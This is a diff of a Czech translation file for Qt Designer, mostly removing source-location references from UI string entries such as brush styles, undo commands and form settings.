<name>BrushPropertyManager</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/brushpropertymanager.cpp" line="+149"/>
<source>Style</source>
<translation>Styl</translation>
</message>
<message>
- <location line="-97"/>
<source>No brush</source>
<translation>Žádný vzor</translation>
</message>
<message>
- <location line="+1"/>
<source>Solid</source>
<translation>Plný</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 1</source>
<translation>Hustota 1</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 2</source>
<translation>Hustota 2</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 3</source>
<translation>Hustota 3</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 4</source>
<translation>Hustota 4</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 5</source>
<translation>Hustota 5</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 6</source>
<translation>Hustota 6</translation>
</message>
<message>
- <location line="+1"/>
<source>Dense 7</source>
<translation>Hustota 7</translation>
</message>
<message>
- <location line="+1"/>
<source>Horizontal</source>
<translation>Vodorovný</translation>
</message>
<message>
- <location line="+1"/>
<source>Vertical</source>
<translation>Svislý</translation>
</message>
<message>
- <location line="+1"/>
<source>Cross</source>
<translation>Křížící se čáry</translation>
</message>
<message>
- <location line="+1"/>
<source>Backward diagonal</source>
<translation>Zpětné úhlopříčky</translation>
</message>
<message>
- <location line="+1"/>
<source>Forward diagonal</source>
<translation>Vpřed směřující úhlopříčky</translation>
</message>
<message>
- <location line="+1"/>
<source>Crossing diagonal</source>
<translation>Křížící se úhlopříčky</translation>
</message>
<message>
- <location line="+94"/>
<source>Color</source>
<translation>Barva</translation>
</message>
<message>
- <location line="+105"/>
<source>[%1, %2]</source>
<translation>[%1, %2]</translation>
</message>
@@ -273,360 +267,277 @@
<context>
<name>Command</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditor.cpp" line="+208"/>
- <location line="+258"/>
<source>Change signal</source>
<translation>Změnit signál</translation>
</message>
<message>
- <location line="-256"/>
- <location line="+268"/>
<source>Change slot</source>
<translation>Změnit zdířku</translation>
</message>
<message>
- <location line="-220"/>
<source>Change signal-slot connection</source>
<translation>Změnit spojení signál-zdířka</translation>
</message>
<message>
- <location line="+234"/>
<source>Change sender</source>
<translation>Změnit vysílač</translation>
</message>
<message>
- <location line="+18"/>
<source>Change receiver</source>
<translation>Změnit přijímač</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/connectionedit.cpp" line="+143"/>
<source>Add connection</source>
<translation>Přidat spojení</translation>
</message>
<message>
- <location line="+54"/>
<source>Adjust connection</source>
<translation>Nastavit spojení</translation>
</message>
<message>
- <location line="+19"/>
<source>Delete connections</source>
<translation>Smazat spojení</translation>
</message>
<message>
- <location line="+58"/>
<source>Change source</source>
<translation>Změnit zdroj</translation>
</message>
<message>
- <location line="+2"/>
<source>Change target</source>
<translation>Změnit koncový bod</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_command.cpp" line="+149"/>
<source>Insert &apos;%1&apos;</source>
<translation>Vložit &apos;%1&apos;</translation>
</message>
<message>
- <location line="+167"/>
<source>Raise &apos;%1&apos;</source>
<translation>&apos;%1&apos; dopředu</translation>
</message>
<message>
- <location line="+33"/>
<source>Lower &apos;%1&apos;</source>
<translation>&apos;%1&apos; dozadu</translation>
</message>
<message>
- <location line="+113"/>
<source>Delete &apos;%1&apos;</source>
<translation>Smazat &apos;%1&apos;</translation>
</message>
<message>
- <location line="+119"/>
<source>Reparent &apos;%1&apos;</source>
<translation>Přiřadit jiný prvek &apos;%1&apos;</translation>
</message>
<message>
- <location line="+53"/>
<source>Promote to custom widget</source>
<translation>Vytvořit zástupný symbol pro uživatelsky stanovený prvek</translation>
</message>
<message>
- <location line="+42"/>
<source>Demote from custom widget</source>
<translation>Odstranit zástupný symbol pro uživatelsky stanovenou třídu</translation>
</message>
<message>
- <location line="+79"/>
<source>Lay out using grid</source>
<translation>Rozmístit předměty tabulkově</translation>
</message>
<message>
- <location line="+3"/>
<source>Lay out vertically</source>
<translation>Rozmístit předměty svisle</translation>
</message>
<message>
- <location line="+3"/>
<source>Lay out horizontally</source>
<translation>Rozmístit předměty vodorovně</translation>
</message>
<message>
- <location line="+41"/>
<source>Break layout</source>
<translation>Zrušit rozvržení</translation>
</message>
<message>
- <location line="+240"/>
- <location line="+235"/>
- <location line="+78"/>
<source>Move Page</source>
<translation>Posunout stranu</translation>
</message>
<message>
- <location line="-279"/>
- <location line="+123"/>
- <location line="+188"/>
- <location line="+666"/>
<source>Delete Page</source>
<translation>Smazat stranu</translation>
</message>
<message>
- <location line="-939"/>
- <location line="+123"/>
<source>Page</source>
<translation>Strana</translation>
</message>
<message>
- <location line="+860"/>
<source>page</source>
<translation>Strana</translation>
</message>
<message>
- <location line="-978"/>
- <location line="+123"/>
- <location line="+186"/>
- <location line="+667"/>
<source>Insert Page</source>
<translation>Vložit stranu</translation>
</message>
<message>
- <location line="-647"/>
<source>Change Tab order</source>
<translation>Změnit pořadí karet</translation>
</message>
<message>
- <location line="+28"/>
<source>Create Menu Bar</source>
<translation>Vytvořit nabídkový pruh</translation>
</message>
<message>
- <location line="+44"/>
<source>Delete Menu Bar</source>
<translation>Smazat nabídkový pruh</translation>
</message>
<message>
- <location line="+47"/>
<source>Create Status Bar</source>
<translation>Vytvořit stavový pruh</translation>
</message>
<message>
- <location line="+42"/>
<source>Delete Status Bar</source>
<translation>Smazat stavový pruh</translation>
</message>
<message>
- <location line="+45"/>
<source>Add Tool Bar</source>
<translation>Přidat nástrojový pruh</translation>
</message>
<message>
- <location line="+59"/>
<source>Add Dock Window</source>
<translation>Přidat ukotvené okno</translation>
</message>
<message>
- <location line="+53"/>
<source>Adjust Size of &apos;%1&apos;</source>
<translation>Upravit velikost &apos;%1&apos;</translation>
</message>
<message>
- <location line="+57"/>
<source>Change Form Layout Item Geometry</source>
<translation>Změnit uspořádání prvku rozvržení formuláře</translation>
</message>
<message>
- <location line="+95"/>
<source>Change Layout Item Geometry</source>
<translation>Změnit uspořádání prvku rozvržení</translation>
</message>
<message>
- <location line="+576"/>
<source>Change Table Contents</source>
<translation>Změnit obsah tabulky</translation>
</message>
<message>
- <location line="+107"/>
<source>Change Tree Contents</source>
<translation>Změnit obsah stromu</translation>
</message>
<message>
- <location line="+74"/>
- <location line="+146"/>
<source>Add action</source>
<translation>Přidat činnost</translation>
</message>
<message>
- <location line="-120"/>
- <location line="+126"/>
<source>Remove action</source>
<translation>Odstranit činnost</translation>
</message>
<message>
- <location line="+53"/>
<source>Add menu</source>
<translation>Přidat nabídku</translation>
</message>
<message>
- <location line="+6"/>
<source>Remove menu</source>
<translation>Odstranit nabídku</translation>
</message>
<message>
- <location line="+6"/>
<source>Create submenu</source>
<translation>Vytvořit vedlejší nabídku</translation>
</message>
<message>
- <location line="+31"/>
<source>Delete Tool Bar</source>
<translation>Smazat nástrojový pruh</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_menu.cpp" line="+1195"/>
<source>Set action text</source>
<translation>Nastavit text k činnosti</translation>
</message>
<message>
- <location line="+3"/>
<source>Insert action</source>
<translation>Vložit činnost</translation>
</message>
<message>
- <location line="+89"/>
- <location filename="../tools/designer/src/lib/shared/qdesigner_menubar.cpp" line="+907"/>
<source>Move action</source>
<translation>Posunout činnost</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_menubar.cpp" line="-424"/>
<source>Change Title</source>
<translation>Změnit název</translation>
</message>
<message>
- <location line="+2"/>
<source>Insert Menu</source>
<translation>Vložit nabídku</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/signalslotdialog.cpp" line="+202"/>
<source>Change signals/slots</source>
<translation>Změnit signály/zdířky</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_command.cpp" line="-867"/>
<source>Delete Subwindow</source>
<translation>Smazat podokno</translation>
</message>
<message>
- <location line="+44"/>
<source>Insert Subwindow</source>
<translation>Vložit podokno</translation>
</message>
<message>
- <location line="+2"/>
<source>subwindow</source>
<translation>Podokno</translation>
</message>
<message>
- <location line="+1"/>
<source>Subwindow</source>
<translation>Podokno</translation>
</message>
<message>
- <location line="-1821"/>
<source>Change Z-order of &apos;%1&apos;</source>
<translation>Změnit Z-pořadí &apos;%1&apos;</translation>
</message>
<message>
- <location line="+625"/>
<source>Simplify Grid Layout</source>
<translation>Zjednodušit tabulkové rozvržení</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/button_taskmenu.cpp" line="+221"/>
<source>Create button group</source>
<translation>Seskupit tlačítka</translation>
</message>
<message>
- <location line="+27"/>
<source>Break button group</source>
<translation>Zrušit seskupení tlačítek</translation>
</message>
<message>
- <location line="+9"/>
<source>Break button group &apos;%1&apos;</source>
<translation>Zrušit seskupení &apos;%1&apos;</translation>
</message>
<message>
- <location line="+17"/>
<source>Add buttons to group</source>
<translation>Přidat tlačítka do seskupení</translation>
</message>
<message>
- <location line="+22"/>
<source>Remove buttons from group</source>
<translation>Odstranit tlačítka ze seskupení</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/morphmenu.cpp" line="+349"/>
<source>Morph %1/&apos;%2&apos; into %3</source>
<extracomment>MorphWidgetCommand description</extracomment>
<translation>Přeměnit %1/&apos;%2&apos; na %3</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_command2.cpp" line="+154"/>
<source>Change layout of &apos;%1&apos; from %2 to %3</source>
<translation>Změnit rozvržení &apos;%1&apos; z %2 na %3</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/button_taskmenu.cpp" line="-14"/>
- <location filename="../tools/designer/src/lib/shared/formlayoutmenu.cpp" line="+458"/>
<source>Add &apos;%1&apos; to &apos;%2&apos;</source>
<extracomment>Command description for adding buttons to a QButtonGroup</extracomment>
<translation>Přidat &apos;%1&apos; k &apos;%2&apos;</translation>
</message>
<message>
- <location line="+29"/>
<source>Remove &apos;%1&apos; from &apos;%2&apos;</source>
<extracomment>Command description for removing buttons from a QButtonGroup</extracomment>
<translation>Odstranit &apos;%1&apos; z &apos;%2&apos;</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/scriptcommand.cpp" line="+55"/>
<source>Change script</source>
<translation>Změnit skript</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_propertycommand.cpp" line="+1213"/>
<source>Changed &apos;%1&apos; of &apos;%2&apos;</source>
<translation>Změněno &apos;%1&apos; z &apos;%2&apos;</translation>
</message>
<message numerus="yes">
- <location line="+3"/>
<source>Changed &apos;%1&apos; of %n objects</source>
<translatorcomment>Singular will never be shown</translatorcomment>
<translation>
@@ -636,12 +547,10 @@
</translation>
</message>
<message>
- <location line="+76"/>
<source>Reset &apos;%1&apos; of &apos;%2&apos;</source>
<translation>Znovu nastavit &apos;%1&apos; &apos;%2&apos;</translation>
</message>
<message numerus="yes">
- <location line="+3"/>
<source>Reset &apos;%1&apos; of %n objects</source>
<translatorcomment>Singular will never be shown</translatorcomment>
<translation>
@@ -651,12 +560,10 @@
</translation>
</message>
<message>
- <location line="+89"/>
<source>Add dynamic property &apos;%1&apos; to &apos;%2&apos;</source>
<translation>Přidat dynamickou vlastnost &apos;%1&apos; do &apos;%2&apos;</translation>
</message>
<message numerus="yes">
- <location line="+3"/>
<source>Add dynamic property &apos;%1&apos; to %n objects</source>
<translatorcomment>Singular will never be shown</translatorcomment>
<translation>
@@ -666,12 +573,10 @@
</translation>
</message>
<message>
- <location line="+86"/>
<source>Remove dynamic property &apos;%1&apos; from &apos;%2&apos;</source>
<translation>Odstranit dynamickou vlastnost &apos;%1&apos; z &apos;%2&apos;</translation>
</message>
<message numerus="yes">
- <location line="+3"/>
<source>Remove dynamic property &apos;%1&apos; from %n objects</source>
<translation>
<numerusform>Odstranit dynamickou vlastnost &apos;%1&apos; z jednoho předmětu</numerusform>
@@ -683,22 +588,18 @@
<context>
<name>ConnectDialog</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/connectdialog.ui"/>
<source>Configure Connection</source>
<translation>Upravit spojení</translation>
</message>
<message>
- <location/>
<source>GroupBox</source>
<translation>GroupBox</translation>
</message>
<message>
- <location/>
<source>Edit...</source>
<translation>Upravit...</translation>
</message>
<message>
- <location/>
<source>Show signals and slots inherited from QWidget</source>
<translation>Ukázat signály a zdířky zděděné z QWidget</translation>
</message>
@@ -706,17 +607,14 @@
<context>
<name>ConnectionDelegate</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp" line="+643"/>
<source>&lt;object&gt;</source>
<translation>&lt;Předmět&gt;</translation>
</message>
<message>
- <location line="+18"/>
<source>&lt;signal&gt;</source>
<translation>&lt;Signál&gt;</translation>
</message>
<message>
- <location line="+0"/>
<source>&lt;slot&gt;</source>
<translation>&lt;Zdířka&gt;</translation>
</message>
@@ -724,19 +622,16 @@
<context>
<name>DPI_Chooser</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/dpi_chooser.cpp" line="+69"/>
<source>Standard (96 x 96)</source>
<extracomment>Embedded device standard screen resolution</extracomment>
<translation>Obvyklé rozlišení (96 x 96)</translation>
</message>
<message>
- <location line="+2"/>
<source>Greenphone (179 x 185)</source>
<extracomment>Embedded device screen resolution</extracomment>
<translation>Greenphone (179 x 185)</translation>
</message>
<message>
- <location line="+2"/>
<source>High (192 x 192)</source>
<extracomment>Embedded device high definition screen resolution</extracomment>
<translation>Vysoké rozlišení (192 x 192)</translation>
@@ -745,89 +640,72 @@
<context>
<name>Designer</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/qdesigner_resource.cpp" line="+449"/>
<source>Qt Designer</source>
<translation>Qt Designer</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_utils.cpp" line="+682"/>
<source>Unable to launch %1.</source>
<translation>%1 se nepodařilo spustit.</translation>
</message>
<message>
- <location line="+4"/>
<source>%1 timed out.</source>
<translation>Překročení času při provedení %1.</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/formeditor/qdesigner_resource.cpp" line="+10"/>
<source>This file contains top level spacers.&lt;br&gt;They have &lt;b&gt;NOT&lt;/b&gt; been saved into the form.</source>
<translation>Formulář obsahuje volně stojící prvky rozložení, které &lt;b&gt;NEBYLY&lt;/b&gt; uloženy do formuláře.</translation>
</message>
<message>
- <location line="+2"/>
<source>Perhaps you forgot to create a layout?</source>
<translation>Přidal jste rozvržení?</translation>
</message>
<message>
- <location line="+205"/>
<source>This file cannot be read because it was created using %1.</source>
<translation>Soubor nelze přečíst, protože byl vytvořen %1.</translation>
</message>
<message>
- <location line="+14"/>
<source>This file was created using Designer from Qt-%1 and cannot be read.</source>
<translation>Soubor nelze přečíst, protože byl vytvořen programem Designer ve verzi %1.</translation>
</message>
<message>
- <location line="+82"/>
<source>This file cannot be read because the extra info extension failed to load.</source>
<translation>Soubor nelze přečíst (Chyba při nahrávání dat ExtraInfoExtension).</translation>
</message>
<message>
- <location line="-52"/>
<source>The converted file could not be read.</source>
<translation>Převedený soubor se nepodařilo přečíst.</translation>
</message>
<message>
- <location line="-76"/>
<source>Invalid UI file: The root element &lt;ui&gt; is missing.</source>
<translation>Chyba při čtení souboru s rozhraním: Kořenový prvek &lt;ui&gt; chybí.</translation>
</message>
<message>
- <location line="+6"/>
<source>An error has occurred while reading the UI file at line %1, column %2: %3</source>
<translation>Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3</translation>
</message>
<message>
- <location line="+74"/>
<source>This file was created using Designer from Qt-%1 and will be converted to a new form by Qt Designer.</source>
<translation>Soubor byl vytvořen programem Designer ve verzi %1 a bude převeden na nový formulář pomocí programu Qt Designer.</translation>
</message>
<message>
- <location line="+3"/>
<source>The old form has not been touched, but you will have to save the form under a new name.</source>
<translation>Starý formulář zůstává nezměněn. Nový formulář musí být uložen pod novým názvem.</translation>
</message>
<message>
- <location line="+11"/>
<source>This file was created using Designer from Qt-%1 and could not be read:
%2</source>
<translation>Čtení Designerem %1 vytvořeného souboru se nezdařilo:
%2</translation>
</message>
<message>
- <location line="+3"/>
<source>Please run it through &lt;b&gt;uic3&amp;nbsp;-convert&lt;/b&gt; to convert it to Qt-4&apos;s ui format.</source>
<translation>Přeměňte to, prosím, příkazem &lt;b&gt;uic3&amp;nbsp;-convert&lt;/b&gt; na formát rozhraní Qt 4.</translation>
</message>
<message>
- <location filename="../tools/designer/src/lib/shared/qsimpleresource.cpp" line="+339"/>
<source>Custom Widgets</source>
<translation>Uživatelsky stanovené prvky</translation>
</message>
<message>
- <location line="+12"/>
<source>Promoted Widgets</source>
<translation>Zástupný symbol pro uživatelsky stanovené prvky</translation>
</message>
@@ -835,12 +713,10 @@
<context>
<name>DesignerMetaEnum</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_utils.cpp" line="-513"/>
<source>%1 is not a valid enumeration value of &apos;%2&apos;.</source>
<translation>%1 není platnou výčtovou hodnotou &apos;%2&apos;.</translation>
</message>
<message>
- <location line="+5"/>
<source>&apos;%1&apos; could not be converted to an enumeration value of type &apos;%2&apos;.</source>
<translation>&apos;%1&apos; se nepodařilo převést na výčtovou hodnotu typu &apos;%2&apos;.</translation>
</message>
@@ -848,7 +724,6 @@
<context>
<name>DesignerMetaFlags</name>
<message>
- <location line="+78"/>
<source>&apos;%1&apos; could not be converted to a flag value of type &apos;%2&apos;.</source>
<translation>&apos;%1&apos; se nepodařilo převést na příznakovou hodnotu typu &apos;%2&apos;.</translation>
</message>
@@ -856,13 +731,11 @@
<context>
<name>DeviceProfile</name>
<message>
- <location filename="../tools/designer/src/lib/shared/deviceprofile.cpp" line="+397"/>
<source>&apos;%1&apos; is not a number.</source>
<extracomment>Reading a number for an embedded device profile</extracomment>
<translation>&apos;%1&apos; není platným číslem.</translation>
</message>
<message>
- <location line="+23"/>
<source>An invalid tag &lt;%1&gt; was encountered.</source>
<translation> Byl zjištěn neplatný prvek&apos;%1&apos;.</translation>
</message>
@@ -870,27 +743,22 @@
<context>
<name>DeviceProfileDialog</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/deviceprofiledialog.ui"/>
<source>&amp;Family</source>
<translation>&amp;Písmová rodina</translation>
</message>
<message>
- <location/>
<source>&amp;Point Size</source>
<translation>&amp;Bodová velikost</translation>
</message>
<message>
- <location/>
<source>Style</source>
<translation>Styl</translation>
</message>
<message>
- <location/>
<source>Device DPI</source>
<translation>Rozlišení obrazovky</translation>
</message>
<message>
- <location/>
<source>Name</source>
<translation>Název</translation>
</message>
@@ -898,57 +766,46 @@
<context>
<name>DeviceSkin</name>
<message>
- <location filename="../tools/shared/deviceskin/deviceskin.cpp" line="+79"/>
<source>The image file &apos;%1&apos; could not be loaded.</source>
<translation>Soubor s obrázkem &apos;%1&apos; se nepodařilo nahrát.</translation>
</message>
<message>
- <location line="+64"/>
<source>The skin directory &apos;%1&apos; does not contain a configuration file.</source>
<translation>Adresář se vzhledem &apos;%1&apos; neobsahuje žádný soubor s nastavením.</translation>
</message>
<message>
- <location line="+5"/>
<source>The skin configuration file &apos;%1&apos; could not be opened.</source>
<translation>Soubor s nastavením vzhledu &apos;%1&apos; se nepodařilo otevřít.</translation>
</message>
<message>
- <location line="+76"/>
<source>Syntax error: %1</source>
<translation>Chyba ve skladbě: %1</translation>
</message>
<message>
- <location line="+54"/>
<source>The skin cursor image file &apos;%1&apos; does not exist.</source>
<translation>Soubor s obrázkem pro vzhled ukazovátka &apos;%1&apos; neexistuje.</translation>
</message>
<message>
- <location line="+25"/>
<source>Syntax error in area definition: %1</source>
<translation>Vymezení oblasti obsahuje chybu ve skladbě: %1</translation>
</message>
<message>
- <location line="+38"/>
<source>Mismatch in number of areas, expected %1, got %2.</source>
<translation>Zadaný počet oblastí (%1) neodpovídá; byly nalezeny %2 oblasti.</translation>
</message>
<message>
- <location line="-187"/>
<source>The skin configuration file &apos;%1&apos; could not be read: %2</source>
<translation>Soubor s nastavením vzhledu &apos;%1&apos; se nepodařilo přečíst: %2</translation>
</message>
<message>
- <location line="+91"/>
<source>The skin &quot;up&quot; image file &apos;%1&apos; does not exist.</source>
<translation>Soubor s nastavením vzhledu &apos;%1&apos; (nahoru) neexistuje.</translation>
</message>
<message>
- <location line="+10"/>
<source>The skin &quot;down&quot; image file &apos;%1&apos; does not exist.</source>
<translation>Soubor s nastavením vzhledu &apos;%1&apos; (dolů) neexistuje.</translation>
</message>
<message>
- <location line="+11"/>
<source>The skin &quot;closed&quot; image file &apos;%1&apos; does not exist.</source>
<translation>Soubor s nastavením vzhledu &apos;%1&apos; (zavřeno) neexistuje.</translation>
</message>
@@ -956,7 +813,6 @@
<context>
<name>EmbeddedOptionsControl</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/embeddedoptionspage.cpp" line="+307"/>
<source>&lt;html&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Font&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%1, %2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Style&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Resolution&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%4 x %5&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/html&gt;</source>
<extracomment>Format embedded device profile description</extracomment>
<translation>&lt;html&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Font&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%1, %2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Stil&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Rozlišení&lt;/b&gt;&lt;/td&gt;&lt;td&gt;%4 x %5&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/html&gt;</translation>
@@ -965,13 +821,11 @@
<context>
<name>EmbeddedOptionsPage</name>
<message>
- <location line="+103"/>
<source>Embedded Design</source>
<extracomment>Tab in preferences dialog</extracomment>
<translation>Vložený návrh</translation>
</message>
<message>
- <location line="+10"/>
<source>Device Profiles</source>
<extracomment>EmbeddedOptionsControl group box&quot;</extracomment>
<translation>Profily zařízení</translation>
@@ -980,27 +834,22 @@
<context>
<name>FontPanel</name>
<message>
- <location filename="../tools/shared/fontpanel/fontpanel.cpp" line="+63"/>
<source>Font</source>
<translation>Písmo</translation>
</message>
<message>
- <location line="+11"/>
<source>&amp;Writing system</source>
<translation>Způsob &amp;psaní</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Family</source>
<translation>&amp;Písmová rodina</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Style</source>
<translation>&amp;Styl</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Point size</source>
<translation>&amp;Bodová velikost</translation>
</message>
@@ -1008,22 +857,18 @@
<context>
<name>FontPropertyManager</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/fontpropertymanager.cpp" line="+62"/>
<source>PreferDefault</source>
<translation>Upřednostňovat výchozí</translation>
</message>
<message>
- <location line="+1"/>
<source>NoAntialias</source>
<translation>Žádné vyhlazování</translation>
</message>
<message>
- <location line="+1"/>
<source>PreferAntialias</source>
<translation>Upřednostňovat vyhlazování</translation>
</message>
<message>
- <location line="+61"/>
<source>Antialiasing</source>
<translation>Vyhlazování</translation>
</message>
@@ -1031,43 +876,45 @@
<context>
<name>FormBuilder</name>
<message>
- <location filename="../tools/designer/src/lib/uilib/formbuilderextra.cpp" line="+359"/>
<source>Invalid stretch value for &apos;%1&apos;: &apos;%2&apos;</source>
- <extracomment>Parsing layout stretch values</extracomment>
+ <extracomment>Parsing layout stretch values
+----------
+Parsing layout stretch values
+----------
+Parsing layout stretch values</extracomment>
<translation>Neplatná hodnota roztažení pro &apos;%1&apos;: &apos;%2&apos;</translation>
</message>
<message>
- <location line="+62"/>
<source>Invalid minimum size for &apos;%1&apos;: &apos;%2&apos;</source>
- <extracomment>Parsing grid layout minimum size values</extracomment>
+ <extracomment>Parsing grid layout minimum size values
+----------
+Parsing grid layout minimum size values
+----------
+Parsing grid layout minimum size values</extracomment>
<translation>Neplatná nejmenší velikost pro &apos;%1&apos;: &apos;%2&apos;</translation>
</message>
</context>
<context>
<name>FormEditorOptionsPage</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formeditor_optionspage.cpp" line="+91"/>
<source>%1 %</source>
+ <extracomment>Zoom percentage</extracomment>
<translation>%1 %</translation>
</message>
<message>
- <location line="+4"/>
<source>Preview Zoom</source>
<translation>Velikost zvětšení pro náhled</translation>
</message>
<message>
- <location line="+2"/>
<source>Default Zoom</source>
<translation>Výchozí zvětšení</translation>
</message>
<message>
- <location line="+29"/>
<source>Forms</source>
<extracomment>Tab in preferences dialog</extracomment>
<translation>Formuláře</translation>
</message>
<message>
- <location line="+13"/>
<source>Default Grid</source>
<translation>Výchozí mřížka pro nové formuláře</translation>
</message>
@@ -1075,37 +922,30 @@
<context>
<name>FormLayoutRowDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/formlayoutrowdialog.ui"/>
<source>Add Form Layout Row</source>
<translation>Přidat řádek s rozvržením formuláře</translation>
</message>
<message>
- <location/>
<source>&amp;Label text:</source>
<translation>&amp;Text popisku:</translation>
</message>
<message>
- <location/>
<source>Field &amp;type:</source>
<translation>&amp;Typ datového pole:</translation>
</message>
<message>
- <location/>
<source>&amp;Field name:</source>
<translation>&amp;Název pole:</translation>
</message>
<message>
- <location/>
<source>&amp;Buddy:</source>
<translation>&amp;Kamarád:</translation>
</message>
<message>
- <location/>
<source>&amp;Row:</source>
<translation>&amp;Řádek:</translation>
</message>
<message>
- <location/>
<source>Label &amp;name:</source>
<translation>&amp;Název popisku:</translation>
</message>
@@ -1113,12 +953,10 @@
<context>
<name>FormWindow</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formwindow.cpp" line="+1701"/>
<source>Unexpected element &lt;%1&gt;</source>
<translation>Neplatný prvek &lt;%1&gt;</translation>
</message>
<message>
- <location line="+7"/>
<source>Error while pasting clipboard contents at line %1, column %2: %3</source>
<translation>Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3</translation>
</message>
@@ -1126,62 +964,50 @@
<context>
<name>FormWindowSettings</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/formwindowsettings.ui"/>
<source>Form Settings</source>
<translation>Nastavení formuláře</translation>
</message>
<message>
- <location/>
<source>Layout &amp;Default</source>
<translation>&amp;Výchozí rozvržení</translation>
</message>
<message>
- <location/>
<source>&amp;Spacing:</source>
<translation>&amp;Odstup:</translation>
</message>
<message>
- <location/>
<source>&amp;Margin:</source>
<translation>&amp;Okraj:</translation>
</message>
<message>
- <location/>
<source>&amp;Layout Function</source>
<translation>&amp;Funkce rozvržení</translation>
</message>
<message>
- <location/>
<source>Ma&amp;rgin:</source>
<translation>Ok&amp;raj:</translation>
</message>
<message>
- <location/>
<source>Spa&amp;cing:</source>
<translation>Odstu&amp;p:</translation>
</message>
<message>
- <location/>
<source>Embedded Design</source>
<translation>Vložený návrh</translation>
</message>
<message>
- <location/>
<source>&amp;Author</source>
<translation>&amp;Autor</translation>
</message>
<message>
- <location/>
<source>&amp;Include Hints</source>
<translation>&amp;Zahrnout rady</translation>
</message>
<message>
- <location/>
<source>&amp;Pixmap Function</source>
<translation>&amp;Funkce pixmapy</translation>
</message>
<message>
- <location/>
<source>Grid</source>
<translation>Mřížka</translation>
</message>
@@ -1189,7 +1015,6 @@
<context>
<name>IconSelector</name>
<message>
- <location filename="../tools/designer/src/lib/shared/iconselector.cpp" line="+352"/>
<source>All Pixmaps (</source>
<translation>Všechny soubory s pixmapami (</translation>
</message>
@@ -1197,7 +1022,6 @@
<context>
<name>ItemPropertyBrowser</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/itemlisteditor.cpp" line="+66"/>
<source>XX Icon Selected off</source>
<extracomment>Sample string to determinate the width for the first column of the list item property browser</extracomment>
<translation>Vybraná ikona, z</translation>
@@ -1206,33 +1030,27 @@
<context>
<name>MainWindowBase</name>
<message>
- <location filename="../tools/designer/src/designer/mainwindow.cpp" line="+119"/>
<source>Main</source>
<extracomment>Not currently used (main tool bar)</extracomment>
<translation>Hlavní pruh s nástroji</translation>
</message>
<message>
- <location line="+6"/>
<source>File</source>
<translation>Soubor</translation>
</message>
<message>
- <location line="+1"/>
<source>Edit</source>
<translation>Úpravy</translation>
</message>
<message>
- <location line="+1"/>
<source>Tools</source>
<translation>Nástroje</translation>
</message>
<message>
- <location line="+1"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location line="+7"/>
<source>Qt Designer</source>
<translation>Qt Designer</translation>
</message>
@@ -1240,52 +1058,42 @@
<context>
<name>NewForm</name>
<message>
- <location filename="../tools/designer/src/designer/newform.cpp" line="+79"/>
<source>C&amp;reate</source>
<translation>&amp;Vytvořit nový z předlohy</translation>
</message>
<message>
- <location line="+1"/>
<source>Recent</source>
<translation>Naposledy otevřený</translation>
</message>
<message>
- <location line="+32"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Open...</source>
<translation>&amp;Otevřít...</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Recent Forms</source>
<translation>&amp;Naposledy otevřené formuláře</translation>
</message>
<message>
- <location line="+64"/>
<source>Read error</source>
<translation>Chyba při čtení</translation>
</message>
